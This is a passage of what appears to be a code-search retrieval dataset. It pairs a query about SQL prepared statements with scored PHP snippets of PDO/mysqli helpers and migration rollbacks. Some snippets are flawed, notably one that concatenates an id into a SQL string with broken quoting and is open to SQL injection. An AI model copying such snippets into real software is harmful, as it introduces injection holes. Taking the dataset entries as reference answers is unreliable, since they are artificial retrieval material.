"bcb7e5e747f14109337ec9d405e6f9eb", "score": "0.64576656", "text": "public function actionStop()\n {\n $this->run('migrate/down');\n }", "title": "" }, { "docid": "d1247d429c271319fbb4bdad6f5e52d5", "score": "0.6449961", "text": "public function down(Schema $schema) : void\n {\n $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \\'mysql\\'.');\n\n $this->addSql('ALTER TABLE sortie DROP FOREIGN KEY FK_3C3FD3F2D5E86FF');\n $this->addSql('ALTER TABLE sortie DROP FOREIGN KEY FK_3C3FD3F26AB213CC');\n $this->addSql('ALTER TABLE sortie DROP FOREIGN KEY FK_3C3FD3F289FEAA37');\n $this->addSql('ALTER TABLE utilisateur DROP FOREIGN KEY FK_1D1C63B389FEAA37');\n $this->addSql('ALTER TABLE sortie_utilisateur DROP FOREIGN KEY FK_2C57C50FCC72D953');\n $this->addSql('ALTER TABLE lieu DROP FOREIGN KEY FK_2F577D59A73F0036');\n $this->addSql('DROP TABLE etat');\n $this->addSql('DROP TABLE lieu');\n $this->addSql('DROP TABLE site');\n $this->addSql('DROP TABLE sortie');\n $this->addSql('DROP TABLE sortie_utilisateur');\n $this->addSql('DROP TABLE ville');\n $this->addSql('DROP INDEX IDX_1D1C63B389FEAA37 ON utilisateur');\n $this->addSql('ALTER TABLE utilisateur DROP centre_formation_id, DROP nom, DROP prenom, DROP pseudo, DROP telephone, DROP administrateur, DROP actif, DROP ville, DROP cp');\n }", "title": "" }, { "docid": "f00b42d9545005cb18b1864f991fb2d4", "score": "0.6446243", "text": "public function down()\n\t{\n\t\tSchema::table('users', function($table){\n\t\t\t$table->dropColumn('email');\n\t\t});\n\t}", "title": "" }, { "docid": "7fb3894f5faf0357b362f9c74b26eb23", "score": "0.64407784", "text": "public function down(){\n\t//\t$this->query($sql);\n\t\t\n\t}", "title": "" } ]
c7e2b512d48197fd0b0918b562174d42
prepared statements should be supported, i.e. select from table where id = ?
[ { "docid": "68a4748edf4e41c4a8c30f473aadbc31", "score": "0.5904897", "text": "function Execute($sql, $params = array());", "title": "" } ]
[ { "docid": "85b348d83f9c98f213073206e3da29ec", "score": "0.68356955", "text": "public function executePrepared()\n {\n }", "title": "" }, { "docid": "5364accd8dfdbd6e82d67eac8e56f43f", "score": "0.67281115", "text": "abstract function is_prepared( $statement_name );", "title": "" }, { "docid": "a612fbf00e08ef76e81f2052e8eff2fb", "score": "0.6587176", "text": "function pdo_preparedStmt($pdo,$query,$parmList,$parmData){\n$sql = $pdo->prepare($query);\nfor ($i=0; $i < count($parmList); $i++) { \n $sql->bindParam($parmList[$i], $parmData[$i]);\n}\n\nreturn $sql->execute();\n}", "title": "" }, { "docid": "eb88ada87741a4e57bf823aab828d03c", "score": "0.6527266", "text": "public function prepare($sql);", "title": "" }, { "docid": "eb88ada87741a4e57bf823aab828d03c", "score": "0.6527266", "text": "public function prepare($sql);", "title": "" }, { "docid": "76f4a2447be6c5eece43562f06ee64aa", "score": "0.65010816", "text": "protected function selectStmt(): \\PDOStatement\n {\n }", "title": "" }, { "docid": "a5274d01aac2775054d3d0bb66b912a5", "score": "0.64893854", "text": "function prepare($sql);", "title": "" }, { "docid": "4ee4965f3103da8890cd59a5752e202d", "score": "0.63259184", "text": "public function prepare($sqlStatement);", "title": "" }, { "docid": "4b139c4934209f6d893c42cbe94f9311", "score": "0.631923", "text": "public function prepare($sql, ...$arguments);", "title": "" }, { "docid": "45f5caa47d847b0a11972cb423bdd3b7", "score": "0.62532324", "text": "function select_all_id($table, $id){\n\t\tglobal $conn;\n\t\tif($sql = $conn->prepare(\"SELECT * FROM $table WHERE \".$table.\".id =? \")){\n\t\t\tif($sql->bind_param(\"i\", $id )){\n\t\t\t\tif ($sql->execute()) {\n\t\t\t\t\treturn $sql->get_result(); \n\t\t\t\t\t\n\t}else{\n\t\tconsole_log(\"Select_all_id: Unsuccessful please try again!\");\n\t\tconsole_log($sql->error);\n\t\tconsole_log($sql->errno);\n\t\tmysqli_close($conn);\n\t}\n\t\t\t\t\n\t\t}else{\n\t\t\tconsole_log(\"Select_all_id:Could not bind params \". $sql->errno . \") \" . $sql->error);\n\t\t\t\t}\n\t\t\t}else{\n\t\tconsole_log(\"Select_all_id: Could not connect to database\");\n\t\tconsole_log($conn->error);\n\t\t\n\t}\n\t\t\n\t\t\n\t}", "title": "" }, { "docid": "2a47fe265216ee4221f1ef5865cf3b4f", "score": "0.623879", "text": "public function test_execute_prepared_query_error()\n\t{\n\t\t$db = Database::factory();\n\t\t$table = $db->quote_table($this->_table);\n\n\t\t$name = $db->prepare(\n\t\t\tNULL, 'SELECT * FROM '.$table.' WHERE \"value\" = $1'\n\t\t);\n\n\t\t$this->setExpectedException(\n\t\t\t'Database_Exception', 'parameters', '08P01'\n\t\t);\n\n\t\t// Lacking parameters\n\t\t$db->execute_prepared_query($name);\n\t}", "title": "" }, { "docid": "d64bee99c26de0de742dc16b8ed59d96", "score": "0.6235997", "text": "function mysqli_stmt_prepare ($query) {}", "title": "" }, { "docid": "e2d3620755d7bf1f42baa5c200070e72", "score": "0.62233776", "text": "abstract function prepare( $statement_name, $statement_query );", "title": "" }, { "docid": "fddd25adf13fb664711b5191b433a3da", "score": "0.62086034", "text": "function at_id() \n {\n $mysqli = $this->conn;\n\n /* Prepared statement, stage 1: prepare */\n if (!($stmt = $mysqli->prepare(\"SELECT * FROM InvasiveSurvey WHERE ID = ?\"))) {\n echo \"Prepare failed: (\" . $mysqli->errno . \") \" . $mysqli->error;\n }\n\n /* Prepared statement, stage 2: bind and execute */\n if (!($stmt->bind_param(\"i\", $this->id))) {\n echo \"Binding parameters failed: (\" . $stmt->errno . \") \" . $stmt->error;\n }\n\n return $this->process($stmt);\n }", "title": "" }, { "docid": "949954e8bb6eb52495be925c09fac0a8", "score": "0.6194858", "text": "function prepare($sql) {\n //\n $stmt = $this->conn->prepare($sql);\n\n //Execute the delete \n if (!$stmt) {\n throw new Exception($this->conn->error);\n }\n //\n //The statement to return is our new version\n return new statement($this, $stmt, $sql);\n }", "title": "" }, { "docid": "b3b0c0635dfdf91f109278b25ca28334", "score": "0.6193932", "text": "public function runQuery($sql){\n $stmt = $this->pdo->prepare($sql);\n return $stmt;\n }", "title": "" }, { "docid": "c98aa5a46b2580c890772da0d6c67890", "score": "0.6178869", "text": "function getSelect($param) {\r\n $query = \"SELECT * FROM {$this->table} \";\r\n $arr = array();\r\n foreach ($param as $key => $val) {\r\n if($key == \"WHERE\") {\r\n $query .= \" WHERE \";\r\n $count = 0;\r\n foreach ($val as $val_key => $val_val) {\r\n if($count > 0) $query .= \" AND \";\r\n $count++;\r\n $query .= $val_key;\r\n preg_match('/:.*/', $val_key, $str_key);\r\n $arr[$str_key[0]] = $val_val;\r\n }\r\n }\r\n }\r\n try{\r\n $stmt = $this->db->prepare($query);\r\n $stmt->execute($arr);\r\n return $stmt; \r\n } catch(PDOException $e) {\r\n exit(\"Ошибка данных в БД\");\r\n }\r\n }", "title": "" }, { "docid": "5c11b38882c46b125084c390ebe7666d", "score": "0.6165033", "text": "function pg_prepare ($connection, $stmtname, $query) {}", "title": "" }, { "docid": "1e8992d137f22ba3af51d57825f8ebb9", "score": "0.61382174", "text": "abstract function sql_select();", "title": "" }, { "docid": "02a02898c186e1cba568a0c87f4ba8d6", "score": "0.61372143", "text": "public abstract function select($sql, $params);", "title": "" }, { "docid": "a536a39b0a12c9827490b79dd0e05556", "score": "0.61243063", "text": "protected function _prepareStatement( $sql, $params ) {\n\t\t$connection = $this->_connection();\n\t\t$statement = $connection->prepare( $sql );\n\t\tforeach( $params as $key => $value ) {\n\t\t\t$statement->bindValue( $key, $value );\n\t\t}\n\t\t$statement->execute();\n\t\treturn $statement;\n\t}", "title": "" }, { "docid": "f7e43906269b38442be3c30fe8af87db", "score": "0.6122131", "text": "public function prepare($sql, $attributes = null);", "title": "" }, { "docid": "28610c8e8a6b1a3b15134883e4abe1b8", "score": "0.61070216", "text": "protected function query(/* $sql [, ... ] */)\n {\n $sql = func_get_arg(0);\n\n // get parameters \n $parameters = array_slice(func_get_args(), 1);\n\n\n // prepare database statement\n $statement = $this->db->prepare($sql);\n\n // if incorrect statement trigger error and exit\n if ($statement === false) {\n trigger_error($this->db->errorInfo()[2], E_USER_ERROR);\n exit;\n }\n\n // execute prepared statement with parameters\n $results = $statement->execute($parameters);\n\n // return result set's rows if any\n if ($results !== false) {\n return $statement->fetchAll(\\PDO::FETCH_ASSOC);\n } else {\n return false;\n }\n \n }", "title": "" }, { "docid": "8645295b8f7f3714c56e7bee5df60501", "score": "0.610185", "text": "function pdo(string $sql, array $params = []) : PDOStatement\n{\n /**\n * Receives a PDO instance.\n */\n $pdo = new PDO(\n DRIVER . ':' . 'host=' . HOST . ';dbname=' . DATABASE . ';charset=utf8',\n USERNAME,\n PASSWORD \n );\n /**\n * Prepare the query.\n */\n $stmt = $pdo->prepare($sql);\n /**\n * Check params\n */\n if ($params !== []) {\n /**\n * If passed params, bind them.\n */\n foreach ($params as $key => $value) {\n $stmt->bindParam($key, $value);\n }\n }\n /**\n * Execute the statement.\n */\n $stmt->execute();\n return $stmt;\n}", "title": "" }, { "docid": "e3bf80d21d310b3e650e53689dee7218", "score": "0.60906357", "text": "public function testExecuteStatement()\n {\n $statement = $this->generateStatement();\n $statement->bind(':id', 1, PDO::PARAM_INT);\n\n $this->assertTrue($statement->execute());\n }", "title": "" }, { "docid": "4cbb9e3856ec055a9b2b8cf2bdd2f32b", "score": "0.6079238", "text": "function query(/* $sql [, ... ] */)\r\n {\r\n // SQL statement\r\n $sql = func_get_arg(0);\r\n // parameters, if any\r\n $parameters = array_slice(func_get_args(), 1);\r\n // try to connect to database\r\n static $handle;\r\n if (!isset($handle))\r\n {\r\n try\r\n {\r\n // connect to database\r\n $handle = new PDO(\"mysql:dbname=\" . DATABASE . \";host=\" . SERVER, USERNAME);\r\n // ensure that PDO::prepare returns false when passed invalid SQL\r\n $handle->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); \r\n }\r\n catch (Exception $e)\r\n {\r\n // trigger (big, orange) error\r\n trigger_error($e->getMessage(), E_USER_ERROR);\r\n exit;\r\n }\r\n }\r\n // prepare SQL statement\r\n $statement = $handle->prepare($sql);\r\n if ($statement === false)\r\n {\r\n // trigger (big, orange) error\r\n trigger_error($handle->errorInfo()[2], E_USER_ERROR);\r\n exit;\r\n }\r\n // execute SQL statement\r\n $results = $statement->execute($parameters);\r\n // return result set's rows, if any\r\n if ($results !== false)\r\n {\r\n return $statement->fetchAll(PDO::FETCH_ASSOC);\r\n }\r\n else\r\n {\r\n return false;\r\n }\r\n }", "title": "" }, { "docid": "c66ef4980b1821fe81d214a15bf99d2b", "score": "0.6068404", "text": "function chk($sql) {\n //\n //Check the sql\n $stmt = $this->record->invoice->dbase->prepare($sql);\n //\n try {\n //\n //Bind the client parameter to some test value\n $stmt->execute([':driver' => 'test']);\n //\n //The statement is no longer useful\n $stmt->closeCursor();\n //\n } catch (\\Exception $ex) {\n //\n //Re-throw the exception\n throw $ex;\n }\n //\n //Return the same sql as the input\n return $sql;\n }", "title": "" }, { "docid": "50720dcc30d456152ae870c7f56291cd", "score": "0.6068264", "text": "function query(/* $sql [, ... ] */)\n {\n // SQL statement\n $sql = func_get_arg(0);\n\n // parameters, if any\n $parameters = array_slice(func_get_args(), 1);\n\n // try to connect to database\n static $handle;\n if (!isset($handle))\n {\n try\n {\n // connect to database\n $handle = new PDO(\"mysql:dbname=\" . DATABASE . \";host=\" . SERVER, USERNAME, PASSWORD);\n\n // ensure that PDO::prepare returns false when passed invalid SQL\n $handle->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); \n }\n catch (Exception $e)\n {\n // trigger (big, orange) error\n trigger_error($e->getMessage(), E_USER_ERROR);\n exit;\n }\n }\n\n // prepare SQL statement\n $statement = $handle->prepare($sql);\n if ($statement === false)\n {\n // trigger (big, orange) error\n trigger_error($handle->errorInfo()[2], E_USER_ERROR);\n exit;\n }\n\n // execute SQL statement\n $results = $statement->execute($parameters);\n\n // return result set's rows, if any\n if ($results !== false)\n {\n return $statement->fetchAll(PDO::FETCH_ASSOC);\n }\n else\n {\n return false;\n }\n }", "title": "" }, { "docid": "2d90aa006b74e037462cf0a755fd58c2", "score": "0.6066241", "text": "protected function bind_params() {\n\t\t\t$this->escape();\n\t\t\treturn $this->mysqli->prepare( $this->generate_sql() );\n\t\t}", "title": "" }, { "docid": "3d8f2af6117f42cc0b486a688ed0dd77", "score": "0.6055044", "text": "function execute() {\n\t\ttry {\n\n\t\t\t// we need to bind in order\n\t\t\tif (empty($this->refactored_stmt)) {\n\t\t\t\t$index = [];\n\n\t\t\t\t$this->refactored_stmt = $this->query;\n\n\t\t\t\t# \n\t\t\t\t# We need to sort by length to avoid replacing keys that are\n\t\t\t\t# prefixes of other keys, thereby invaliding the bigger keys\n\t\t\t\t#\n\n\t\t\t\t$keylengths = [];\n\t\t\t\tforeach (\\array_keys($this->params) as $key) {\n\t\t\t\t\t$keylengths[$key] = strlen($key);\n\t\t\t\t}\n\n\t\t\t\t\\asort($keylengths, SORT_NUMERIC);\n\n\t\t\t\t$keys = \\array_keys(\\array_reverse($keylengths, true));\n\n\t\t\t\tforeach ($keys as $key) {\n\t\t\t\t\t$position = \\strpos($this->query, $key);\n\t\t\t\t\tif ($position == false) {\n\t\t\t\t\t\tthrow new Panic(\"Tried to bind parameter $key but it's not present in statement.\");\n\t\t\t\t\t}\n\n\t\t\t\t\t$this->refactored_stmt = \\str_replace($key, '?', $this->refactored_stmt);\n\n\t\t\t\t\t$index[$key] = $position;\n\t\t\t\t}\n\n\t\t\t\t\\asort($index, SORT_NUMERIC);\n\n\t\t\t\t$this->stmt = \\mysqli_prepare($this->dbh, $this->refactored_stmt);\n\n\t\t\t\tif ( ! $this->stmt) {\n\t\t\t\t\tthrow new Panic('Failed to prepare statement');\n\t\t\t\t}\n\n\t\t\t\t$bindings = '';\n\t\t\t\t$args = [ $this->stmt, null ];\n\t\t\t\tforeach (array_keys($index) as $key) {\n\t\t\t\t\t$bindings .= $this->params[$key][1];\n\t\t\t\t\t$args[] = & $this->params[$key][0];\n\t\t\t\t}\n\n\t\t\t\t$args[1] = $bindings;\n\n\t\t\t\tif ( ! empty($args[1])) {\n\t\t\t\t\t\\call_user_func_array('mysqli_stmt_bind_param', $args);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tif ( ! \\mysqli_stmt_execute($this->stmt)) {\n\t\t\t\tthrow new Panic('Failed to execute statement');\n\t\t\t}\n\n\t\t\t#\n\t\t\t# to avoid complications with statements not getting closed before\n\t\t\t# new ones are executed we fetch the result set imediatly\n\t\t\t#\n\n\t\t\t$this->resultset = [];\n\t\t\t$result = \\mysqli_stmt_get_result($this->stmt);\n\t\t\twhile ($data = mysqli_fetch_assoc($result)) {\n\t\t\t\t$this->resultset[] = $data;\n\t\t\t}\n\t\t}\n\t\tcatch (\\Exception $exception) {\n\t\t\t$message = $exception->getMessage();\n\t\t\t$message .= \"\\n\".$this->formatQuery($this->query);\n\t\t\tthrow new Panic($message, 500, $exception);\n\t\t}\n\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "ca15a2651e1cf07635b31a5285451116", "score": "0.6054987", "text": "public function prepared_select($stmt) {\n\t\t$params = func_get_args();\n\t\t$r = call_user_func_array(array(&$this, 'execute'), $params);\n\t\t$result = $this->get_result_array($r);\n\t\t$this->free_result($r);\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "c3de51f46d01d1f16dd43ac03c95e77a", "score": "0.60548854", "text": "public function checkWithPrepare(){\n \n // $sql=\"Select ? FROM ? WHERE ?=?\";\n //$qry= $this->db->query($sql,array(\"id\",'rl_imports_exports_tbl','id',1));\n // echo $count=$qry->num_rows();\n }", "title": "" }, { "docid": "c13beca528c6908bb98bcdc2745d16c3", "score": "0.6037666", "text": "protected function query($sql, array $bindParams = [])\r\n {\r\n $sql = $this->quoteSql($sql);\r\n $this->lastSql = $sql;\r\n $this->lastParams = $bindParams;\r\n $statement = $this->getReadPdo()->prepare($sql);\r\n $statement->execute($bindParams);\r\n return $statement;\r\n }", "title": "" }, { "docid": "48cbe94b3cfa35187030d9196005ecdc", "score": "0.6024244", "text": "public function query($sqlStatement, array $binds = []);", "title": "" }, { "docid": "835c55be95f817011a2b1a4e81614a3c", "score": "0.60143155", "text": "function query(/* $sql [, ... ] */)\n {\n // SQL statement\n $sql = func_get_arg(0);\n\n // parameters, if any\n $parameters = array_slice(func_get_args(), 1);\n\n // try to connect to database\n static $handle;\n if (!isset($handle))\n {\n try\n {\n // connect to database\n $handle = new PDO(\"mysql:dbname=\" . DATABASE . \";host=\" . SERVER, USERNAME, PASSWORD);\n\n // ensure that PDO::prepare returns false when passed invalid SQL\n $handle->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); \n }\n catch (Exception $e)\n {\n trigger_error($e->getMessage(), E_USER_ERROR);\n exit;\n }\n }\n\n // prepare SQL statement\n $statement = $handle->prepare($sql);\n if ($statement === false)\n {\n trigger_error($handle->errorInfo()[2], E_USER_ERROR);\n exit;\n }\n\n // execute SQL statement\n $results = $statement->execute($parameters);\n if ($results === false)\n {\n trigger_error($statement->errorInfo()[2], E_USER_ERROR);\n exit;\n }\n\n // return result set's rows\n return $statement->fetchAll(PDO::FETCH_ASSOC);\n }", "title": "" }, { "docid": "2acdbb22a21fbf97c1b951e50ecfe8ae", "score": "0.60051155", "text": "private function create_and_prepare_statement() {\n $query = sprintf(self::INSERT_FORMAT, $this->keyspace, $this->table);\n return $this->session->prepare($query);\n }", "title": "" }, { "docid": "faaadace551b413e832e2346c8f7335d", "score": "0.60012424", "text": "public function execPrepare(string $statement, array $binds = [], array $options = null) : \\PDOStatement;", "title": "" }, { "docid": "e6279d26c03bda4b370566f5947871db", "score": "0.6000702", "text": "public function prepare($sql) {\n $statement = $this->pdo->prepare($sql);\n if ($statement)\n return $statement;\n else\n return false;\n }", "title": "" }, { "docid": "c4241ec9b15c4fd3bfe7a1796882957b", "score": "0.59864795", "text": "private function executeQuery($sql)\n {\n $stmt = $this->connection->prepare($sql);\n \n $stmt->execute(); \n \n if(!$resource){\n return $stmt;\n }\n \n throw new DBException($this->connection->errorCode(), $this->connection->errorInfo(), $sql);\n }", "title": "" }, { "docid": "af9b34a15fa63e3f48c3d421ce21d7b3", "score": "0.5983373", "text": "public function query($sql, $bind = []);", "title": "" }, { "docid": "df2c3fe1625cc09af234d20da8184d92", "score": "0.5978625", "text": "function get_produk_by_id($conn, $id) {\n $query = $conn->prepare(\"select * from produk where id=?\");\n $query->bind_param(\"i\", $id);\n $result = $query->execute();\n\n if (! $result)\n return false;\n\n return $query->get_result();\n}", "title": "" }, { "docid": "80114ff19f7ccec41519e617f16b6f37", "score": "0.5970267", "text": "public function prepare($sql) {\n return $this->dbHandle->prepare($sql);\n }", "title": "" }, { "docid": "331ca283f1b5f3fa067c58fd51cefc9c", "score": "0.59697276", "text": "function mysqli_prepare ($query) {}", "title": "" }, { "docid": "87d784296055713c950264981f50ffdf", "score": "0.5962763", "text": "public function prepare($sql, $params = array()) {\n\t\t}", "title": "" }, { "docid": "c5d569653a53fdcae229a7e11e51f5f3", "score": "0.59627616", "text": "public static function query()\n\t{\n\t\t$arguments = func_get_args();\n\t\t$query = array_shift($arguments);\n\t\tif (count($arguments)==1 && is_array($arguments[0])) $arguments = $arguments[0];\n\t\t$dbh = static::get_pdo();\n\t\t$sth = $dbh->prepare($query);\n\t\tif (static::$log_events)\n\t\t{\n\t\t\t$time1 = microtime(true);\n\t\t\t$sth->execute($arguments);\n\t\t\t$time2 = microtime(true);\n\t\t\t\\System\\Profiler::event( \\System\\Event_Type::NORMAL, 'System\\\\Database', 'query', $sth->queryString . ' (t:' . number_format($time2-$time1,6) . 's)');\n\t\t}\n\t\telse $sth->execute($arguments);\n\t\treturn $sth;\n\t}", "title": "" }, { "docid": "b3cd49baa5fd5c975e2fae35e37dd934", "score": "0.59627247", "text": "public static function prepare($sql) {\n\t\t$adapter = self::getAdapter();\n\t\treturn $adapter->prepare($sql);\n\t}", "title": "" }, { "docid": "fe3d0f8f728ce01ba43b6bd7b71fedf1", "score": "0.5954791", "text": "public function idCheck($tableName,$id){\n$check=$this->dal->query(\"SELECT * FROM`\".$tableName.\"`WHERE id='$id\");\n$stmt->execute([$employee_id]);\n$check = $stmt->fetchColumn();\n}", "title": "" }, { "docid": "f63ef83e0776f177b8f336a7674769ec", "score": "0.59474057", "text": "function db_run( $sql, $bind=array() ) {\n $options = array(\n PDO::ATTR_PERSISTENT => true,\n PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION\n );\n $sql = trim( $sql );\n try {\n $dbh = new PDO( 'mysql:host=' . DB_HOST . ';dbname=' . DB_NAME, DB_USER, DB_PASS, $options );\n } catch ( PDOException $e ) {\n die( $e->getMessage() );\n }\n try {\n $res = $dbh->prepare( $sql );\n $res->execute( $bind );\n return $res;\n } catch (PDOException $e) {\n die( $e->getMessage() );\n }\n}", "title": "" }, { "docid": "9c839c177d5f807869d399751fa56c42", "score": "0.591931", "text": "function DbExecutePrepare($sql_stored_procedure, $values, &$connection)\n{\n\n global $usu_id;\n global $usu_auth;\n\n // Create the SQL statement\n $sql = 'CALL '.$sql_stored_procedure.'(:usu_id, :usu_auth';\n foreach ($values as $param => $value) {\n $sql .= ', :p'.$param;\n }\n $sql .= ');';\n\n try {\n\n // Execute the statement\n $qry = $connection->prepare($sql);\n $qry->bindParam(':usu_id', $usu_id);\n $qry->bindParam(':usu_auth', $usu_auth);\n foreach ($values as $param => $value) {\n $qry->bindParam(':p'.$param, $value);\n }\n //print_r($qry->GetParameters());\n $qry->execute();\n\n // Return that the command was succefully executed\n return true;\n } catch (Exception $e) {\n // Return that the command was not succefully executed\n throw new Exception($e);\n return false;\n }\n\n}", "title": "" }, { "docid": "33fe90e958b861185abe3572a09ca04d", "score": "0.5909371", "text": "public function prepare_statement($statement){\n\ttry{\n\t\t\t$obj = database::$connection->prepare($statement);\n\t\t\treturn $obj;\n\t}\n\tcatch (PDOException $e) {\n\t\t\t\techo 'Query Preparation Failed failed: ' . $e->getMessage();\n\t\t\t\t$er = new pageError();\n\t\t\t\t$er->report_error(Tool::error_message(),'QUERY ERROR: '.$e->getMessage(),__FILE__,__CLASS__,__FUNCTION__,__LINE__);\n\t\t\t\tdie();\n\t\t\t}\n\t\n}", "title": "" }, { "docid": "3d50c89ea177ddfb5569b14940ca1e13", "score": "0.58990103", "text": "abstract function prepped_execute( $statement_name );", "title": "" }, { "docid": "becb5b8ff0d0203e7578df0540938a71", "score": "0.5894762", "text": "public function executePrepared(string $sql, ?array $params = null): array|false\n {\n $stmt = $this->prepare($sql);\n $this->execute($stmt, $params);\n return $stmt->fetchAll();\n }", "title": "" }, { "docid": "6f2f047f66e2c27d2a5e9fcd81bf40b9", "score": "0.58852416", "text": "abstract protected function prepare();", "title": "" }, { "docid": "d1a97f48cec106d3b2aa172f81e4d64e", "score": "0.58796", "text": "function initialize_and_verify_stmt($db, $sql){\n \n $stmt = mysqli_stmt_init($db);\n \n if(!mysqli_stmt_prepare($stmt, $sql)){\n \n exit(\"database error\");\n }\n \n return $stmt;\n \n }", "title": "" }, { "docid": "a99a3f35fb676f623c8821addbf796e2", "score": "0.5879108", "text": "function get_orders_by_orderno($orderno) {\r\n global $conn;\r\n\r\n $stmt = $conn->prepare(\"SELECT * FROM orders WHERE ORDERNO = ?\");\r\n\r\n //if-statement to test if prepare() worked properly\r\n if (!$stmt) {\r\n echo \"prepare() returned false, for get_orders_by_orderno\";\r\n $conn->close;\r\n exit;\r\n }\r\n\r\n $stmt->bind_param(\"i\", $orderno);\r\n $result = $stmt->execute();\r\n\r\n if (!$result) {\r\n echo 'An error has occurred when attempting to access orders by orderno';\r\n }\r\n\r\n $result = $stmt->get_result();\r\n\r\n return $result;\r\n}", "title": "" }, { "docid": "a433793b3658b2a6273fbf515929745b", "score": "0.5875202", "text": "function studentDetails(){\r\n $query = 'SELECT * FROM '.$this->table_name.' WHERE stud_id = ?';\r\n $stmt = $this->conn->prepare($query);\r\n //fill question mark with the student id that is being pulled from the URL\r\n $stmt->bindParam(1,$this->stud_name);\r\n \r\n //try running the query. If it works...\r\n if($stmt->execute()){\r\n //... send 'true' back to where create() was called\r\n return true; \r\n }else{\r\n return false;\r\n } \r\n }", "title": "" }, { "docid": "c058fb1aca16f9869101431512f866e8", "score": "0.58681417", "text": "function statement_execute( $statement )\n {\n // protect the user from executing deletes or updates on\n // a statement without a where value set\n $type = $statement->get_type();\n if( ($type == MySQLStatement::UPDATE || \n $type == MySQLStatement::DELETE ) &&\n $statement->count_where() == 0 \n ){\n \n // fail this execute\n return false;\n }\n \n // get query and parameters\n $query = $statement->get_query();\n $params = $statement->get_params();\n \n \n // prepare the statement \n $this->prepare( 'db_generated_stmt', $query );\n \n // generate argument list for bind_param\n $args = array( 'db_generated_stmt', '' );\n \n $param_types = '';\n \n // loop and set in args\n for($i=0; $i<count($params); $i++ )\n {\n $param_types .= $params[$i]['type'];\n $args[$i+2] = $params[$i]['value'];\n }\n \n // set param types string\n $args[1] = $param_types;\n \n \n // finally call the bind_result method\n call_user_func_array(\n array(\n $this,\n 'bind_param'\n ),\n $args\n );\n \n // return execution status\n return $this->prepped_execute('db_generated_stmt');\n }", "title": "" }, { "docid": "5391f15ff630869e524d056ebf243ef9", "score": "0.58631045", "text": "public function execute(): PdoStatement\n {\n $sql = $this->database->prepare((string)$this);\n try {\n $this->logger->debug('Query: ' . $this->getRawQueryWithParams());\n $result = $sql->execute($this->bindings);\n if ($result === false) {\n throw new DatabaseException((string)$sql->errorInfo()[2]);\n }\n } catch (Throwable $exception) {\n throw new DatabaseException($exception->getMessage());\n }\n\n return $sql;\n }", "title": "" }, { "docid": "d9bafcfecd5f41d27c4137a4ed0e966c", "score": "0.5861921", "text": "function exec_sql($sql, $param, $types=\"\") {\n global $mysqli;\n if ($stmt = $mysqli->prepare($sql)) {\n $stmt->bind_param($types, ...$param);\n if (!$stmt->execute()) {\n err_msg(\" exec_sql (executing): \" . $sql , $mysqli->error);\n $stmt->close();\n return false;\n }\n $stmt->close();\n } else {\n err_msg(\" exec_sql (preparing): \" . $sql, $mysqli->error);\n return false;\n }\n return true;\n}", "title": "" }, { "docid": "4ff56c2a86b3a89163e05cffd345b507", "score": "0.58598197", "text": "abstract public function getPreparedInsertStatement(): PDOStatement;", "title": "" }, { "docid": "112a094041aaae3293261e7145dd635d", "score": "0.5859276", "text": "public function testBind()\n {\n $query = Connection::bind('SELECT * FROM foo');\n $this->assertEquals('SELECT * FROM foo', $query);\n\n $query = Connection::bind('SELECT * FROM foo WHERE id = ?', 10);\n $this->assertEquals('SELECT * FROM foo WHERE id = 10', $query);\n\n $query = Connection::bind('SELECT * FROM foo WHERE name = ?', 'jan');\n $this->assertEquals('SELECT * FROM foo WHERE name = \"jan\"', $query);\n\n $query = Connection::bind('SELECT * FROM foo WHERE active = ?', true);\n $this->assertEquals('SELECT * FROM foo WHERE active = TRUE', $query);\n\n $query = Connection::bind('SELECT *, \"a\\\"b?d\" AS `str?` FROM foo WHERE id = ?', 10);\n $this->assertEquals('SELECT *, \"a\\\"b?d\" AS `str?` FROM foo WHERE id = 10', $query);\n\n $query = Connection::bind('SELECT * FROM foo WHERE id = ? AND active = ? LIMIT ?', 10, true, 15);\n $this->assertEquals('SELECT * FROM foo WHERE id = 10 AND active = TRUE LIMIT 15', $query);\n\n $query = Connection::bind('UPDATE foo SET data = ? WHERE id = ?', null, 10);\n $this->assertEquals('UPDATE foo SET data = NULL WHERE id = 10', $query);\n\n $query = Connection::bind('SELECT * FROM foo WHERE id = ? AND active = ?', 10);\n $this->assertEquals('SELECT * FROM foo WHERE id = 10 AND active = ?', $query);\n\n $query = Connection::bind('SELECT * FROM foo WHERE id IN ?', array(10, 20, 99));\n $this->assertEquals('SELECT * FROM foo WHERE id IN (10, 20, 99)', $query);\n }", "title": "" }, { "docid": "28494264f089f542ca0b5c3e8a6d2d09", "score": "0.5851388", "text": "protected function bind_params() {\n\t\t\t$this->escape();\n\t\t\t$select_statement = $this->mysqli->prepare( $this->generate_sql() );\n\n\t\t\t$search_wildcards = '%' . $this->search . '%';\n\n\t\t\tif ( ($this->search && !$this->levenshtein_search_enabled) || $this->category != 'all' ) {\n\t\t\t\t\n\t\t\t\tif( $this->category != 'all' && ! ($this->search && !$this->levenshtein_search_enabled) ) {\n\t\t\t\t\t$select_statement->bind_param(\"ss\", $this->category, $this->category);\n\t\t\t\t}\n\t\t\t\telse if( $this->category == 'all' ) {\n\t\t\t\t\t$select_statement->bind_param(\"ss\", $search_wildcards, $search_wildcards);\n\t\t\t\t}\n\t\t\t\t// We have a search and a category\n\t\t\t\telse {\n\t\t\t\t\t$select_statement->bind_param(\"ssss\", $this->category, $search_wildcards, $this->category, $search_wildcards);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\treturn $select_statement;\n\t\t}", "title": "" }, { "docid": "2020d11e8bd219886bb3f3828afba12f", "score": "0.5844564", "text": "abstract protected function getSelectStatement();", "title": "" }, { "docid": "d4424fa77c43636af233ef020361d824", "score": "0.5841267", "text": "function query()\n\t{\n\t\t// SQL Statement\n\t\t$sql = func_get_arg(0);\n\n\t\t// Parameters, if any\n\t\t$parameters = array_slice(func_get_args(), 1);\n\n\t\t// try to connect to database\n\t\tstatic $handle;\n\t\tif (!isset($handle))\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\t// connect to database\n\t\t\t\t$handle = new PDO(\"mysql:dbname=\" . DATABASE . \";host=\" . SERVER, 